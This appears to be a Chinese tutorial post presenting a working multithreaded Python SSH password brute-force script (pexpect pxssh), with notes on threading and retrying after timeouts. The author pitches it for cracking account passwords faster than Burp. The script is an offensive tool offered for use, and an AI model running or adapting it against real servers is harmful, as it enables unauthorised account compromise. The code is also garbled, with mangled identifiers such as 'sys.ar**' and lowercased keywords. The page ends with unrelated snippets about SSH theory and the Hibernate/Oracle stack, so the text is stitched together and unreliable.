1.開啟多執行緒(t.start()後會繼續執行,t.join()是等待子程序執行完畢)
2.fail用於記錄read_nonblocking和pxssh命令符提取失敗的次數
3.maxconnections表示最大連線數(多執行緒,實際上是乙個cpu在交替執行。。。。。)
**編寫思路:
main()函式
1.解析引數
2.迴圈遍歷密碼檔案(開啟5個執行緒連線,這裡開啟執行緒速度會更快是因為這裡要遠端連線,等待網路有阻塞,故開啟多執行緒可以加快速度)
3.利用賬號密碼連線ssh伺服器。
s=pxssh.pxssh()
s.login(host,user,password)
有三種返回情況,
登入成功
丟擲三種異常,其中兩種是因為ssh伺服器被大量連線刷爆了,或者是pxxsh命令提示符連線困難。這兩種情況都可以等會再連線。當發生五此這種超時錯誤時,可以過會再手動執行。
附上**:
from threading import *
from pexpect import pxssh
import sys
import getopt
maxconnections=5
found=false
connect_lock=boundedsemaphore(value=maxconnections)
fails=0
def connect(host,user,password,release):
global fails
global connect_lock
global found
try:
s=pxssh.pxssh()
#print user
#print password
#print "host" +str(host)
#print "user"+str(user)
#print "password"+str(password)
s.login(host,user,password)
print '[+] password found'+password
found=1
except exception,e:
if "read_nonblocking" in str(e):
fails+=1
sleep(5)
connect(host,user,password,false)
elif 'synchronize with original prompt' in str(e):
sleep(1)
connect(host,user,password,false)
finally:
if release:
connect_lock.release()
def usage():
print "ssh boom"
print "-u username"
print "-p destination passwordfile"
def main():
if not len(sys.ar**[1:]):
usage()
try:
opts,args=getopt.getopt(sys.ar**[1:],'u:p:h:')
except getopt.getopterror as err:
print str(err)
usage()
for o,a in opts:
if o in "-u":
user=a
elif o in "-h":
host=a
elif o in "-p":
password=a
else:
usage()
if host==none or password==none or user==none:
usage()
exit(0)
fn=open(password,'r')
for line in fn.readlines():
#print "hello"
if found:
print "[*] exiting: password found"
exit(0)
if fails>5:
print "[!] exiting :too many socket timeouts"
exit(0)
connect_lock.acquire()
passwd=line.strip('\r').strip('\n')
print "[-] testing: " +str(passwd)
t= thread(target=connect,args=(host,user,passwd,true))
t.start()
if __name__=='__main__':
main()
菜鳥實測,加上執行緒速度確實快了很多
小結:像這類網路,或者其他有阻塞的程序,開執行緒了可以提高好幾倍的速度。其他的賬號密碼的破解可在此基礎上編寫,速度應該會比burp快很多
ssh學習筆記
一 理論 從客戶端來看,ssh提供兩種級別的安全驗證 第一種級別 基於口令的安全驗證 只要你知道自己帳號和口令,就可以登入到遠端主機。所有傳輸的資料都會被加密,但是不能保證你正在連線的伺服器就是你想連線的伺服器。第二種級別 基於密匙的安全驗證 需要依靠 金鑰,也就是你必須為自己建立一對密匙,並把公用...
ssh學習筆記
一直對shh很感興趣,也一直有用shh開發東西,但是學習地並不深入。1.ssh開發最好用myeclipse,這個ide真的非常好用,框架搭建基本不用花太大的力氣。2.當用hibernate去鏈結oracle的時候經常會出現sid識別不了的情況,這時候就要去修改一下oracle的配置檔案裡。3.ora...
SSH學習筆記 一
昨天在使用hibernate運算元據庫是出現了兩個異常,弄了很久才把問題解決,現在想把解決過程記錄下來,希望能給遇到跟我一樣問題的朋友一些幫助,o o 1.ora 01843 not a valid month 異常解決辦法。由於我裝的作業系統是英文版的,預設的日期格式為dd mm yyyy,而or...